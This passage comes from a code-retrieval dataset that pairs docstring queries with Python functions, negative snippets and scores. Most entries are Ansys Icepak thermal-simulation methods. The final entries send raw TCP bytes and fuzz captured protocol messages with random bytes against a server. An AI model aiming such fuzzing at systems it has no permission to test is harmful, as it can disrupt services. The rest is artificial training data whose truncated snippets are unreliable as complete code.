} | [
"def pibooth_setup_picture_factory(cfg, opt_index, factory):",
"def from_power(cls,angle=3.5*u.deg,npixel=256,seed=None,space=\"real\",powerTT=None,callback=\"camb_dimensionless\",lmax=3500):\n\n\t\t#Random seed\n\t\tif seed is not None:\n\t\t\tnp.random.seed(seed)\n\n\t\t#CMB lensing routines \n\t\tqlens = Lens(... | [
"0.522439",
"0.5068676",
"0.4991486",
"0.49730086",
"0.49581286",
"0.49581286",
"0.49515656",
"0.4913044",
"0.49089262",
"0.49089262",
"0.49024868",
"0.4891229",
"0.48829314",
"0.48530835",
"0.48487434",
"0.4815359",
"0.47930324",
"0.4772436",
"0.47723085",
"0.47723085",
"0.4... | 0.75060856 | 0 |
Create a network block. | def create_network_block(
self,
object_name,
power,
rjc,
rjb,
gravity_dir,
top,
assign_material=True,
default_material="Ceramic_material",
use_object_for_name=True,
):
if object_name in self.modeler.primitives.object_names:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def createBlock(self, block: ghidra.program.model.mem.MemoryBlock, name: unicode, start: ghidra.program.model.address.Address, length: long) -> ghidra.program.model.mem.MemoryBlock:\n ...",
"def gen_new_block(self):\n block = BasicBlock()\n self.blocks.append(block)\n return block",
... | [
"0.78150713",
"0.7146158",
"0.7127016",
"0.7124272",
"0.69835055",
"0.69597065",
"0.6947752",
"0.6910405",
"0.6871594",
"0.6822079",
"0.68209267",
"0.680913",
"0.67646337",
"0.6758735",
"0.671372",
"0.66777635",
"0.6659609",
"0.65750915",
"0.65697277",
"0.65690327",
"0.654966... | 0.6642023 | 17 |
Create network blocks from CSV files. | def create_network_blocks(
self, input_list, gravity_dir, top, assign_material=True, default_material="Ceramic_material"
):
objs = self.modeler.primitives.solid_names
countpow = len(input_list[0]) - 3
networks = []
for row in input_list:
if row[0] in objs:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def buildFromCSV(self, filepath):\r\n\t\t# TODO: Implement\r\n\t\traise NotImplementedError('This function has not yet been implemented.')\r\n\t\t# with open(filepath, 'r') as scheduleFile:\r\n\t\t# \t# Reusing Parser.parseCSVs(), but not in the intended way; ok because validation is not yet implemented\r\n\t\t# \... | [
"0.60700876",
"0.5982457",
"0.58930665",
"0.5769913",
"0.5688035",
"0.5681831",
"0.5606045",
"0.56025296",
"0.5596585",
"0.55945504",
"0.55530244",
"0.55140656",
"0.55128175",
"0.55111945",
"0.54853165",
"0.54770124",
"0.54687977",
"0.5451146",
"0.54387736",
"0.54122007",
"0.... | 0.5492376 | 14 |
Assign a surface monitor. | def assign_surface_monitor(self, face_name, monitor_type="Temperature", monitor_name=None):
if not monitor_name:
monitor_name = generate_unique_name("Monitor")
oModule = self.odesign.GetModule("Monitor")
oModule.AssignFaceMonitor(["NAME:" + monitor_name, "Quantities:=", [monitor_type... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_monitor(w_card):\n\n # standard name for the monitor interfaces\n mon_id = \"mon{}\".format(w_card.phy)\n\n if mon_id not in pyw.winterfaces():\n # this monitor interface is not set\n # then create a new one\n m_card = pyw.devadd(w_card, mon_id, 'monitor')\n\n # remove ... | [
"0.6523592",
"0.5750645",
"0.5728828",
"0.5510032",
"0.5482783",
"0.53967303",
"0.53698003",
"0.53622407",
"0.5345819",
"0.5341474",
"0.5330829",
"0.52313554",
"0.5227685",
"0.51497513",
"0.51342726",
"0.51198417",
"0.5113416",
"0.5048145",
"0.5045597",
"0.50428575",
"0.50274... | 0.7559201 | 0 |
Create and assign a point monitor. | def assign_point_monitor(self, point_position, monitor_type="Temperature", monitor_name=None):
point_name = generate_unique_name("Point")
self.modeler.oeditor.CreatePoint(
[
"NAME:PointParameters",
"PointX:=",
self.modeler.primitives._arg_with_... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_temp_point_monitor(self, point_name, point_coord=[0, 0, 0]):\n arg1 = [\n \"NAME:PointParameters\",\n \"PointX:=\",\n point_coord[0],\n \"PointY:=\",\n point_coord[1],\n \"PointZ:=\",\n point_coord[2],\n ]\n\n ... | [
"0.6372603",
"0.6200222",
"0.580837",
"0.5445098",
"0.52815735",
"0.52128863",
"0.5191275",
"0.51420385",
"0.51420385",
"0.51281756",
"0.50980604",
"0.50772643",
"0.50596046",
"0.50411236",
"0.5038489",
"0.5030054",
"0.5010821",
"0.5006753",
"0.50021386",
"0.49810976",
"0.496... | 0.768234 | 0 |
Assign block power to components based on a CSV file from Sherlock. | def assign_block_from_sherlock_file(self, csv_name):
with open(csv_name) as csvfile:
csv_input = csv.reader(csvfile)
component_header = next(csv_input)
data = list(csv_input)
k = 0
component_data = {}
for el in component_header:
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def loadSpinFile(self, fileName):\r\n\r\n def getSpin(position, lines):\r\n \"\"\"Searches lines(a list of the lines found in the spin file) for\r\n a certain atom and returns the spin associated with it, or None if\r\n the atom is not in the list of lines.\"\"\"\r\n ... | [
"0.5574659",
"0.5482745",
"0.5295822",
"0.5105875",
"0.50926346",
"0.50793165",
"0.50631624",
"0.50418556",
"0.5041332",
"0.50294137",
"0.5015528",
"0.501201",
"0.50081575",
"0.5005499",
"0.50045425",
"0.4995501",
"0.49886698",
"0.49570045",
"0.49364844",
"0.4930663",
"0.4910... | 0.8128566 | 0 |
Validate an Icepak design. If there are intersections, priorities are automatically applied to overcome simulation issues. | def assign_priority_on_intersections(self, component_prefix="COMP_"):
temp_log = os.path.join(self.project_path, "validation.log")
validate = self.odesign.ValidateDesign(temp_log)
self.save_project()
i = 2
if validate == 0:
priority_list = []
with open(tem... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_elemental_composition_constraint_validation():\n name = \"Property Band gap\"\n elements = [\"Ga\", \"N\"]\n\n # Minimum can't be less than 0\n minimum = -1\n maximum = 2\n\n try:\n c = ElementalCompositionConstraint(name=name,\n elements=e... | [
"0.58644676",
"0.5703968",
"0.5642573",
"0.5610521",
"0.5567206",
"0.55557936",
"0.5502174",
"0.54694086",
"0.54298943",
"0.538735",
"0.5384461",
"0.5378647",
"0.5370359",
"0.5365175",
"0.5362339",
"0.53607523",
"0.5315794",
"0.53015184",
"0.5283785",
"0.52618897",
"0.5250919... | 0.51348376 | 35 |
Find the top location of the layout given a gravity. | def find_top(self, gravityDir):
dirs = ["-X", "+X", "-Y", "+Y", "-Z", "+Z"]
for dir in dirs:
argsval = ["NAME:" + dir + " Padding Data", "Value:=", "0"]
args = [
"NAME:AllTabs",
[
"NAME:Geometry3DCmdTab",
["N... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_attach_point_top(self):\n return self.mapToGlobal(self.rect().center()) # Default behavior",
"def layout_y(self):\n return self.floris.farm.layout_y",
"def getAbsoluteTop(self):\n return self.canvas.getAbsoluteTop()",
"def get_pos(self):\n return self.rect.midtop",
"def... | [
"0.6077535",
"0.58963525",
"0.569579",
"0.5691413",
"0.5642173",
"0.56312567",
"0.561799",
"0.55809474",
"0.5538494",
"0.55331993",
"0.55230623",
"0.55064404",
"0.54865223",
"0.5485295",
"0.5485295",
"0.54806125",
"0.5469844",
"0.5455447",
"0.54471344",
"0.54401165",
"0.54249... | 0.721522 | 0 |
Create a parametric heat sink. | def create_parametric_fin_heat_sink(
self,
hs_height=100,
hs_width=100,
hs_basethick=10,
pitch=20,
thick=10,
length=40,
height=40,
draftangle=0,
patternangle=10,
separation=5,
symmetric=True,
symmetric_separation=20,... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __create_sample_data__(npts = 20):\n\t#data function\n\tdef wavy(x, y):\n\t\treturn np.sin(0.2*np.pi*x)*np.cos(0.4*np.pi*y)\n\t\n\t#make grid\n\txs = np.linspace(0, 2*20, 2*npts + 1)\n\tys = np.linspace(0, 20, npts + 1)\n\t(xgrid, ygrid) = np.meshgrid(xs, ys)\n\tzgrid = wavy(xgrid, ygrid)\n\t\n\treturn (xgrid,... | [
"0.50172657",
"0.49718136",
"0.4941488",
"0.49096906",
"0.48746008",
"0.4873063",
"0.48712033",
"0.48473215",
"0.4844691",
"0.48285213",
"0.47861546",
"0.47523043",
"0.4722584",
"0.47122666",
"0.47119308",
"0.4706176",
"0.46936378",
"0.4685253",
"0.4681379",
"0.46753737",
"0.... | 0.64573586 | 0 |
Update the main settings of the design. | def edit_design_settings(
self,
gravityDir=0,
ambtemp=22,
performvalidation=False,
CheckLevel="None",
defaultfluid="air",
defaultsolid="Al-Extruded",
):
AmbientTemp = str(ambtemp) + "cel"
#
# Configure design settings for gravity etc
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def updateSettingsUI(self):\n\n pass",
"def update_settings(self):\n settings = {\n \"reference\": self,\n \"draw_tangents\": self.cbDrawTangents.isChecked(),\n }\n if self.cbShowSolarAngle.isChecked():\n settings[\"show_solar_angle\"] = self.cbSolarAn... | [
"0.79371053",
"0.7370279",
"0.7228131",
"0.69154304",
"0.6864276",
"0.6823777",
"0.66873527",
"0.6674009",
"0.66656154",
"0.66357034",
"0.6605516",
"0.66019195",
"0.65962917",
"0.65909195",
"0.6516604",
"0.6515334",
"0.6419422",
"0.6341134",
"0.62500346",
"0.6247003",
"0.6243... | 0.6408862 | 17 |
Map EM losses to an Icepak design. | def assign_em_losses(
self,
designname="HFSSDesign1",
setupname="Setup1",
sweepname="LastAdaptive",
map_frequency=None,
surface_objects=[],
source_project_name=None,
paramlist=[],
object_list=[],
):
self.logger.glb.info("Mapping HFSS EM... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def _makeimap(self):\n self.map_['source'] = 'GOES'\n self.map_['provider'] = 'NOAA'\n self.map_['instrument'] = 'SUVI'\n self.map_['physobs'] = 'flux'",
"def from_enmap(emap):\n\n new_map = so_map()\n hdulist = emap.wcs.to_fits()\n header = hdulist[0].header\n new_map.pix... | [
"0.5513762",
"0.52220994",
"0.52134484",
"0.5205543",
"0.5147694",
"0.51088357",
"0.5089761",
"0.49859834",
"0.49765942",
"0.49747527",
"0.49704683",
"0.4957417",
"0.49562743",
"0.49562743",
"0.49485725",
"0.49353972",
"0.49210435",
"0.48988274",
"0.48841476",
"0.4865084",
"0... | 0.67965555 | 0 |
Export the field surface output. This method exports one CSV file for the specified variation. | def eval_surface_quantity_from_field_summary(
self,
faces_list,
quantity_name="HeatTransCoeff",
savedir=None,
filename=None,
sweep_name=None,
parameter_dict_with_values={},
):
name = generate_unique_name(quantity_name)
self.modeler.create_face_... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def export(self, output_path: str, export_format: str = 'csv', z_positive_up: bool = True, **kwargs):\n strt = perf_counter()\n print('****Exporting surface data to {}****'.format(export_format))\n fmt = export_format.lower()\n if os.path.exists(output_path):\n tstmp = dateti... | [
"0.6389275",
"0.61024743",
"0.6026513",
"0.60168546",
"0.58450335",
"0.5803968",
"0.5787736",
"0.5779272",
"0.57763594",
"0.57551503",
"0.5743111",
"0.5724245",
"0.5708107",
"0.57041675",
"0.56897855",
"0.5661911",
"0.5641275",
"0.563398",
"0.5632426",
"0.56180626",
"0.561395... | 0.0 | -1 |
Export the field volume output. This method exports one CSV file for the specified variation. | def eval_volume_quantity_from_field_summary(
self,
object_list,
quantity_name="HeatTransCoeff",
savedir=None,
filename=None,
sweep_name=None,
parameter_dict_with_values={},
):
if not savedir:
savedir = self.project_path
if not filen... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def export_to_csv(self, outputfilepath, separator):\n\n con = fdb.connect(\n database=self.db_filepath,\n # dsn='localhost:~/test/CGI.vvv', #localhost:3050\n user='sysdba', password='masterkey'\n #charset='UTF8' # specify a character set for the connection\n ... | [
"0.64545417",
"0.5754023",
"0.56975734",
"0.5678372",
"0.56009924",
"0.5591143",
"0.55775434",
"0.55506897",
"0.55438507",
"0.55271685",
"0.54884607",
"0.54863346",
"0.5473634",
"0.5464965",
"0.54615444",
"0.543746",
"0.54295796",
"0.5421413",
"0.5415325",
"0.5415011",
"0.540... | 0.0 | -1 |
Unite the files created by a fields summary for the variations. | def UniteFieldsSummaryReports(self, savedir, proj_icepak):
newfilename = os.path.join(savedir, proj_icepak + "_HTCAndTemp.csv")
newfilelines = []
headerwriten = False
filetoremove = []
# first variation
i = 0
filename = os.path.join(savedir, proj_icepak + "_HTCAnd... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def test_set_reduce_fields_automatically_when_only_files_specified():\n\n files = ['Unihan_Readings.txt', 'Unihan_Variants.txt']\n\n options = {'input_files': files}\n\n b = process.Packager(options)\n\n results = process.get_fields(process.filter_manifest(files))\n expected = b.options['fields']\n\... | [
"0.6138094",
"0.61131877",
"0.58164036",
"0.5275635",
"0.52627516",
"0.5150861",
"0.51374656",
"0.50474006",
"0.5045591",
"0.49486035",
"0.4945565",
"0.48872384",
"0.4884592",
"0.48613265",
"0.48549768",
"0.48328787",
"0.48041835",
"0.48029533",
"0.48023853",
"0.47989404",
"0... | 0.6775532 | 0 |
Export a fields summary of all objects. | def export_summary(
self,
output_dir=None,
solution_name=None,
type="Object",
geometryType="Volume",
quantity="Temperature",
variation="",
variationlist=[],
):
all_objs = list(self.modeler.oeditor.GetObjectsInGroup("Solids"))
all_objs_N... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def printSummary(self):\n pass",
"def print_summary(self):\n\t\t\n\t\tif not self.objects:\n\t\t\tsys.stderr.write(\"No objects.\\n\")\n\t\t\treturn\n\t\t\n\t\t# Summary header data\n\t\theader = (\"ok\", \"error\", \"zdata\", \"xdata\", \"odata\", \"ratio\")\n\t\t\n\t\t# Summary header format\n\t\tfield ... | [
"0.63015485",
"0.6184842",
"0.6170315",
"0.61438155",
"0.6115484",
"0.6029715",
"0.6003916",
"0.6003916",
"0.59255403",
"0.5897459",
"0.5885808",
"0.58348954",
"0.58295274",
"0.58198684",
"0.58078593",
"0.5788792",
"0.5775526",
"0.5759068",
"0.5753282",
"0.57292354",
"0.57216... | 0.61726904 | 2 |
Retrieve a list of linked data. | def get_link_data(self, linkData):
if linkData[0] is None:
project_name = "This Project*"
else:
project_name = linkData[0].replace("\\", "/")
designName = linkData[1]
hfssSolutionName = linkData[2]
forceSourceSimEnabler = linkData[3]
preserveSrcRe... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def display_content(self):\n list = []\n traverse = self.head\n\n if self.head == None:\n # print(\"Linked List is empty\")\n return\n\n while traverse.next != None:\n list.append(traverse.data)\n traverse = traverse.next\n\n list.appe... | [
"0.6898586",
"0.6640852",
"0.6524167",
"0.65154654",
"0.6504477",
"0.6492138",
"0.64538014",
"0.6377081",
"0.6314501",
"0.6314501",
"0.6303047",
"0.629092",
"0.628569",
"0.626632",
"0.62105554",
"0.6186964",
"0.6186964",
"0.6156874",
"0.6129265",
"0.6085171",
"0.5974937",
"... | 0.0 | -1 |
Create a PCB component in Icepak that is linked to an HFSS 3D Layout object. | def create_ipk_3dcomponent_pcb(
self,
compName,
setupLinkInfo,
solutionFreq,
resolution,
PCB_CS="Global",
rad="Nothing",
extenttype="Bounding Box",
outlinepolygon="",
powerin="0W",
custom_x_resolution=None,
custom_y_resoluti... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_pcb_from_3dlayout(\n self,\n component_name,\n project_name,\n design_name,\n resolution=2,\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n close_linked_project_after_import=True,\n custom_x_resolution=None,\n custom_y_resolut... | [
"0.722886",
"0.6006457",
"0.5916641",
"0.5631487",
"0.55857074",
"0.5567293",
"0.5479314",
"0.547198",
"0.5281856",
"0.52459306",
"0.52106047",
"0.5193295",
"0.5190418",
"0.5168565",
"0.51664287",
"0.51517653",
"0.5136186",
"0.5127592",
"0.5125972",
"0.51216894",
"0.51168144"... | 0.7250074 | 0 |
Create a PCB component in Icepak that is linked to an HFSS 3D Layout object linking only to the geometry file. | def create_pcb_from_3dlayout(
self,
component_name,
project_name,
design_name,
resolution=2,
extenttype="Bounding Box",
outlinepolygon="",
close_linked_project_after_import=True,
custom_x_resolution=None,
custom_y_resolution=None,
):
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_ipk_3dcomponent_pcb(\n self,\n compName,\n setupLinkInfo,\n solutionFreq,\n resolution,\n PCB_CS=\"Global\",\n rad=\"Nothing\",\n extenttype=\"Bounding Box\",\n outlinepolygon=\"\",\n powerin=\"0W\",\n custom_x_resolution=None,... | [
"0.71606755",
"0.60618496",
"0.5981655",
"0.56415284",
"0.5577579",
"0.5565353",
"0.5536651",
"0.54877406",
"0.54286206",
"0.54191357",
"0.53995544",
"0.53853345",
"0.53833777",
"0.53343934",
"0.53200406",
"0.53013456",
"0.5293416",
"0.52651024",
"0.5246153",
"0.5235362",
"0.... | 0.74508125 | 0 |
Copy a group from another design. | def copyGroupFrom(self, groupName, sourceDesign, sourceProject=None, sourceProjectPath=None):
oName = self.project_name
if sourceProject == oName or sourceProject is None:
oSrcProject = self._desktop.GetActiveProject()
else:
self._desktop.OpenProject(sourceProjectPath)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def copy_group(self):\n dd = self.destination_directory\n sg = self.source_group\n dg = self.destination_group\n\n data = {\n 'description': sg.description,\n 'name': sg.name,\n 'status': sg.status,\n }\n\n # If this Group already exists, w... | [
"0.6744914",
"0.6737628",
"0.65842587",
"0.64991206",
"0.6265472",
"0.6035223",
"0.5887279",
"0.5776485",
"0.5767557",
"0.5695418",
"0.5676896",
"0.5611046",
"0.5533167",
"0.55331063",
"0.5526371",
"0.5520259",
"0.5512979",
"0.5510256",
"0.5470082",
"0.5459582",
"0.5455663",
... | 0.7448452 | 0 |
Export the 3D model. | def export3DModel(self, fileName, filePath, fileFormat=".step", object_list=[], removed_objects=[]):
if not object_list:
allObjects = self.modeler.primitives.object_names
if removed_objects:
for rem in removed_objects:
allObjects.remove(rem)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def export_model(self, output_model_dir):\n logger.info(\"Exporting model to directory : {}\".format(output_model_dir))\n self.model.export(output_model_dir=output_model_dir)",
"def create_e3d_file(self,path='./'):\n dt=0.606*self.model_parameters['dh']/np.max(self.velocity_model['vp']) # dt... | [
"0.64824575",
"0.6474481",
"0.64248276",
"0.63080794",
"0.6297194",
"0.62525713",
"0.6229305",
"0.6211556",
"0.61593837",
"0.6107157",
"0.6102703",
"0.60517895",
"0.60356396",
"0.60192573",
"0.6001406",
"0.5998077",
"0.5985993",
"0.5985118",
"0.59555966",
"0.59447503",
"0.588... | 0.69140553 | 0 |
Create a custom mesh tailored on a PCB design. | def globalMeshSettings(
self,
meshtype,
gap_min_elements="1",
noOgrids=False,
MLM_en=True,
MLM_Type="3D",
stairStep_en=False,
edge_min_elements="1",
object="Region",
):
oModule = self.odesign.GetModule("MeshRegion")
oBoundingBo... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def createMesh(self, chem, coord_x_start, coord_y_start) :\r\n init_conc = .0\r\n self.compParDiff(chem)\r\n comp.Comp.createMeshHomo(self, 'SC', chem, init_conc, coord_x_start, coord_y_start)\r\n #self.meshes[0].setConc(1)\r",
"def MeshMachine(main):\n\n # oDesign definition\n ... | [
"0.6748844",
"0.6687501",
"0.6588435",
"0.65406054",
"0.6470928",
"0.63661134",
"0.6353918",
"0.63378006",
"0.6313802",
"0.63055897",
"0.6254621",
"0.62144154",
"0.614839",
"0.6137772",
"0.61252075",
"0.602909",
"0.6011781",
"0.59770757",
"0.5933673",
"0.5916552",
"0.58993566... | 0.0 | -1 |
Create a bounding box to be used as a mesh region in Icepak. | def create_meshregion_component(
self, scale_factor=1.0, name="Component_Region", restore_padding_values=[50, 50, 50, 50, 50, 50]
):
self.modeler.edit_region_dimensions([0, 0, 0, 0, 0, 0])
verticesID = self.modeler.oeditor.GetVertexIDsFromObject("Region")
x_values = []
y_va... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def boundingBox(self):\n minx, miny, maxx, maxy = self.substrates.bounds\n return pcbnew.BOX2I(\n pcbnew.VECTOR2I(int(minx), int(miny)),\n pcbnew.VECTOR2I(int(maxx - minx), int(maxy - miny)))",
"def bounding_box(self):\n # We use the solution described in\n # htt... | [
"0.7411611",
"0.69350845",
"0.6934657",
"0.68345034",
"0.6752757",
"0.67286456",
"0.6659727",
"0.6606735",
"0.65993637",
"0.65464365",
"0.654596",
"0.65450597",
"0.64703244",
"0.6465996",
"0.6458008",
"0.6437728",
"0.6423373",
"0.64145267",
"0.6410763",
"0.63957316",
"0.63891... | 0.63606215 | 24 |
Create a temperature monitor for the simulation. | def create_temp_point_monitor(self, point_name, point_coord=[0, 0, 0]):
arg1 = [
"NAME:PointParameters",
"PointX:=",
point_coord[0],
"PointY:=",
point_coord[1],
"PointZ:=",
point_coord[2],
]
arg2 = ["NAME:Attrib... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def __init__(self, sensor, temperature_resolution, humidity_resolution):\n self.sensor = sensor\n self.sensor.turnHeaterOn() \n time.sleep(1.0) # Burn off condensed stuff.\n self.sensor.turnHeaterOff() \n self.update()\n # Main Program\n #print \"------------\"\n ... | [
"0.6352923",
"0.60325027",
"0.5969366",
"0.596796",
"0.58568716",
"0.577268",
"0.5719137",
"0.5601181",
"0.5568259",
"0.5551024",
"0.55270517",
"0.5474353",
"0.54662377",
"0.54618007",
"0.5457268",
"0.545686",
"0.5451471",
"0.5451471",
"0.5451471",
"0.5444733",
"0.5432432",
... | 0.550815 | 11 |
Delete the EM losses boundary. | def delete_em_losses(self, bound_name):
self.oboundary.DeleteBoundaries([bound_name])
return True | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def die(self):\n self.pjs.bombermen.remove(self)\n for block in self.physics.blocks[self.stype]:\n if block == self.rects[0]:\n self.physics.blocks[self.stype].remove(block)",
"def eraseLastSeg(self):\n self.can.delete(self.segs.pop().getGraphicObject())",
"def cl... | [
"0.6453558",
"0.618556",
"0.6140863",
"0.6094852",
"0.6082206",
"0.6014098",
"0.59995145",
"0.5951281",
"0.5936723",
"0.57956755",
"0.57941866",
"0.57794243",
"0.5707698",
"0.5691199",
"0.56879765",
"0.5686631",
"0.56787246",
"0.56636286",
"0.56636286",
"0.5652219",
"0.565171... | 0.63696367 | 1 |
Delete a PCB component. | def delete_pcb_component(self, comp_name):
arg = ["NAME:Selections", "Selections:=", comp_name]
self.modeler.oeditor.Delete(arg)
return True | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def delcomponent(self,\n context=[],\n componentid=None):\n if componentid == None:\n raise ValueError, \"delcomponent: componentid is None\"\n return jsoncall.do_call(\"delcomponent\", {'modelname':self.modelname,\\\n ... | [
"0.66529816",
"0.65597695",
"0.64037114",
"0.62848693",
"0.6156556",
"0.6069828",
"0.6047589",
"0.602334",
"0.5979555",
"0.59127647",
"0.590122",
"0.58975464",
"0.58932763",
"0.5750576",
"0.5735574",
"0.56635535",
"0.56628716",
"0.56628716",
"0.5650871",
"0.56496924",
"0.5638... | 0.68637323 | 0 |
Parses the source file for a give sample_type. | def _read_samples(self):
logging.debug("Start file parsing.")
data = pd.read_csv(self._source_file, header=None)
data = pd.read_csv(self._source_file, header=None)
header = pd.read_csv(self._header_file, delimiter=':', skiprows=1, header=None)
header.columns = ['column'... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def parse_source_file(self, filepath):\n raise NotImplementedError('Not Implemented')",
"def parse(source, *, filename=\"[STRING]\", typecheck=True):\n return _Parser(filename, source, typecheck).parse()",
"def parse_file(self, source):\n # If this is a file-like object, we should be able to r... | [
"0.6792015",
"0.60584515",
"0.60023004",
"0.5840672",
"0.5758215",
"0.5618943",
"0.55958074",
"0.55881006",
"0.5586995",
"0.5580437",
"0.55724865",
"0.5562735",
"0.55514455",
"0.55227596",
"0.5517897",
"0.55124015",
"0.5453931",
"0.54345775",
"0.5429451",
"0.5374856",
"0.5351... | 0.53575206 | 20 |
calculate reads per kilobase transcript per million reads NOTE. rpkm=(1e9C)/(LN) | def rpkm(counts,length):
return 1e9*counts/(length[:,np.newaxis]*np.sum(counts,axis=0)) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def TCMB(rs):\n\n return 0.235e-3 * rs",
"def overhead(readings):\n return 100.0 * (int(readings[0]) + int(readings[1])) / (int(readings[2]) + int(readings[3]))",
"def map_reads_2genes(self, reads_file):\n start1 = time()\n read_starts = self.__get_reads_pos(reads_file)\n start2 ... | [
"0.6038982",
"0.590668",
"0.5849638",
"0.57630473",
"0.5746753",
"0.5619334",
"0.559292",
"0.5588034",
"0.5583821",
"0.55580336",
"0.5542441",
"0.5536606",
"0.5535897",
"0.55050975",
"0.5450824",
"0.5428289",
"0.54251826",
"0.54120463",
"0.5382752",
"0.53805065",
"0.5346536",... | 0.57263666 | 5 |
sendTCP_raw_singe same as sendTCP_raw but for single message | def sendTCP_raw_single(m,ip,port):
s=socket.socket()
s.settimeout(1)
s.connect((ip,port))
s.send(m.data)
#print ("RetVal: %s" % s.recv(1000))
return s.recv(1000) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def sendRaw(self, msg, echo = False):\n\n sent = self.__sock.send(msg)\n if sent > 0 and echo:\n print \"Sent: %s\"%msg,",
"async def send_raw(self, raw_message : str):\n await self._connection.send_raw(raw_message)",
"async def send_raw(self, data: bytes) -> None:\n awai... | [
"0.711327",
"0.67403096",
"0.6615937",
"0.65647995",
"0.6527725",
"0.6427289",
"0.63520473",
"0.6343768",
"0.63324654",
"0.63252115",
"0.62935925",
"0.626896",
"0.6267537",
"0.6251001",
"0.6248931",
"0.6226685",
"0.6206426",
"0.61644304",
"0.6148088",
"0.6148088",
"0.6143113"... | 0.74798274 | 0 |
sendTCP_raw_bytes same as sendTCP_raw_singe but for raw bytes | def sendTCP_raw_bytes(data,ip,port):
s=socket.socket()
s.settimeout(3)
s.connect((ip,port))
s.send(data)
#print ("RetVal: %s" % s.recv(1000))
return s.recv(1000) | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def send_bytes(self, data: bytes) -> None:",
"async def send_raw(self, data: bytes) -> None:\n await self.socket.sendall(data)",
"def send(self, data: bytes):",
"def send_bytes(self, bytearray):\r\n try:\r\n self.socket.send(bytearray)\r\n except:\r\n # print(\"Sock... | [
"0.73878384",
"0.72343266",
"0.68756074",
"0.67705405",
"0.67532486",
"0.65822387",
"0.6581286",
"0.65647763",
"0.65512145",
"0.6451417",
"0.6440612",
"0.6440612",
"0.6415889",
"0.63881886",
"0.63653135",
"0.6315379",
"0.62951326",
"0.62764776",
"0.62761664",
"0.622699",
"0.6... | 0.7612792 | 0 |
This function gets a sample pcap file and puts random bytes inside the all fields. Then sends it to the server. It returns all possible error messages in list. | def createErrorMsgs(messages, ip, port):
rspList = list()
for m in messages.values():
randomBS = copy.copy(m)
randomBS_arr = bytearray(randomBS.data)
for idx,bytInt in enumerate(randomBS_arr):
randomBS_arr[idx] = random.randint(0,255)
randomBS = bytes(randomBS_arr)
... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read_and_store_pcap(file_name):\r\n file = open(file_name, \"rb\")\r\n global_header = file.read(24).hex()\r\n byte = file.read(16)\r\n packets = []\r\n bytes = []\r\n sizes = []\r\n while byte:\r\n packet_header = byte.hex()\r\n # parse the size for each packet\r\n si... | [
"0.56992763",
"0.5480785",
"0.5442786",
"0.53123915",
"0.52554893",
"0.5206114",
"0.5205962",
"0.5205437",
"0.5184168",
"0.5165345",
"0.5143179",
"0.5138992",
"0.51319814",
"0.5131829",
"0.509969",
"0.5086289",
"0.5083775",
"0.5062206",
"0.5027553",
"0.5012516",
"0.5002637",
... | 0.5758332 | 0 |
diff_msg modify one field to value and get the difference with the original return False if timeout or the ratio of change | def diff_msg(sym,fi,val,ip,port):
orig=sym.getValues()[0]
try:
respOrig=sendTCP_raw_bytes(orig,ip,port)
except socket.timeout:
return False
msg=b''
for i in range(len(sym.fields)):
msg+=sym.fields[i].getValues()[0] if fi!=i else val
try:
original = str(orig).part... | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def check_diff(self,game,wanted_diff,wanted_starting_time=''):\n return True",
"def _diff(self, param, diff):\n pass",
